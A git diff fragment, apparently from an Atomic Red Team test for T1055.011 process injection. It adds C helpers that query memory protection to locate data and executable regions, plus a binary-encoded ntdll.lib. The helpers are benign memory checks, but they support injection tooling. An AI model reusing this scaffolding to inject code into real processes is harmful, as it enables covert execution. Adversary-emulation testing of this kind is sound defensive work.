+ +// returns TRUE if ptr is .data +BOOL IsDataPtr(LPVOID ptr) { + MEMORY_BASIC_INFORMATION mbi; + DWORD res; + + if(ptr == NULL) return FALSE; + + // query the pointer + res = VirtualQuery(ptr, &mbi, sizeof(mbi)); + if(res != sizeof(mbi)) return FALSE; + + return ((mbi.State == MEM_COMMIT ) && + (mbi.Type == MEM_IMAGE ) && + (mbi.Protect == PAGE_READWRITE)); +} + +// returns TRUE if ptr is RX code +BOOL IsCodePtr(LPVOID ptr) { + MEMORY_BASIC_INFORMATION mbi; + DWORD res; + + if(ptr == NULL) return FALSE; + + // query the pointer + res = VirtualQuery(ptr, &mbi, sizeof(mbi)); + if(res != sizeof(mbi)) return FALSE; + + return ((mbi.State == MEM_COMMIT ) && + (mbi.Type == MEM_IMAGE ) && + (mbi.Protect == PAGE_EXECUTE_READ)); +} + +BOOL IsCodePtrEx(HANDLE hp, LPVOID ptr) { + MEMORY_BASIC_INFORMATION mbi; + DWORD res; + + if(ptr == NULL) return FALSE; + + // query the pointer + res = VirtualQueryEx(hp, ptr, &mbi, sizeof(mbi)); + if(res != sizeof(mbi)) return FALSE; + + return ((mbi.State == MEM_COMMIT ) && + (mbi.Type == MEM_IMAGE ) && + (mbi.Protect == PAGE_EXECUTE_READ)); +} + +BOOL IsMapPtr(LPVOID ptr) { + MEMORY_BASIC_INFORMATION mbi; + DWORD res; + + if(ptr == NULL) return FALSE; + + // query the pointer + res = VirtualQuery(ptr, &mbi, sizeof(mbi)); + if(res != sizeof(mbi)) return FALSE; + + return ((mbi.State == MEM_COMMIT) && + (mbi.Type == MEM_MAPPED)); +} + +BOOL IsReadWritePtr(LPVOID ptr) { + MEMORY_BASIC_INFORMATION mbi; + DWORD res; + + if(ptr == NULL) return FALSE; + + // query the pointer + res = VirtualQuery(ptr, &mbi, sizeof(mbi)); + if(res != sizeof(mbi)) return FALSE; + + return (mbi.Protect == PAGE_READWRITE); +} + +#endif \ No newline at end of file diff --git a/atomics/T1055.011/src/ntlib/x64/ntdll.lib b/atomics/T1055.011/src/ntlib/x64/ntdll.lib new file mode 100644 index 0000000000000000000000000000000000000000..48b01b5d03cea09c7e560e7d9608c525958974bb GIT binary patch literal 304568 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 